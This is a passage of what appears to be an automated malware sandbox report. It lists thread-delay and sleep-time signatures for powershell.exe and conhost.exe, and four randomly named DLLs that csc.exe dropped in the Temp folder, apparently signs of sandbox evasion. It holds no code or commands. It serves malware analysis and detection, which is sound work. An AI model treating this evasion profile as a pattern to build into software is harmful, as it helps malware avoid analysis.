Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587500

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8559	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1133	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7734
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1923
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8902
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 785
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5753
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3851
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9657	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9601
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9659
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9269	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 390	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9649
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9679
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3032	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3029	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3029	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9436
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3037	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.dll	Jump to dropped file

Source: C:\Windows\System32\loaddll64.exe TID: 2748	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6776	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6300	Thread sleep count: 7734 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep count: 1923 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4216	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6784	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1520	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 9657 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591938s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591815s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591703s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591578s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591439s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591328s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591219s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -591073s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590969s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590859s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590750s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590599s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590484s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590372s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590266s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590156s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -590040s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589938s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589813s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589671s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589559s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589453s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589343s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589234s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589125s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -589015s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -588907s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep count: 9601 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 35 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -592469s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -592359s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -592250s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -592137s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -592017s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591902s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591793s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591687s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591567s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591438s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591328s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591219s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591104s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -591000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590891s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590781s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590672s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590531s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590403s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590295s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590187s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -590075s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589969s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589844s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589729s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589618s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589512s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589405s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589296s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589186s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -589078s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -588968s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 9659 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 33 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591984s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591860s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591734s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591612s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591500s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591375s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591235s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591125s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -591015s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590870s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590765s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590656s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590546s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590396s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590281s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590168s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -590062s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589953s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589836s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589734s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589625s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589512s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589368s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589250s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589139s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -589031s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -588921s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -588812s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -588703s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -588593s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep count: 9269 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 390 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591750s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591636s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591515s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591406s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591281s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591171s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -591062s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590948s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590828s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590718s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590606s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590496s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590359s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590138s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -590015s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589881s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589750s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589640s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589520s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589374s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589249s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589139s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -589030s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588921s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588812s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588703s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588592s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588483s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588328s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588196s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -587851s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -587493s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -587375s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -587264s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep count: 9649 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep count: 35 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -592063s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591938s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591813s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591688s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591578s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591454s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591328s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591219s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -591110s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590985s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590860s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590738s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590592s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590469s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590355s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590250s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590141s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -590022s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589906s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589797s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589684s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589547s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589422s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589312s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589202s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -589094s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588984s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588875s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588765s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588655s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588500s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588368s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -588023s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -587665s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -587562s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -587453s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 9679 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep count: 33 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591828s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591717s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591609s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591499s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591266s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591156s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -591046s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590900s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590796s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590686s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590577s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590426s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590312s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590199s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -590093s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589984s >= -30000s
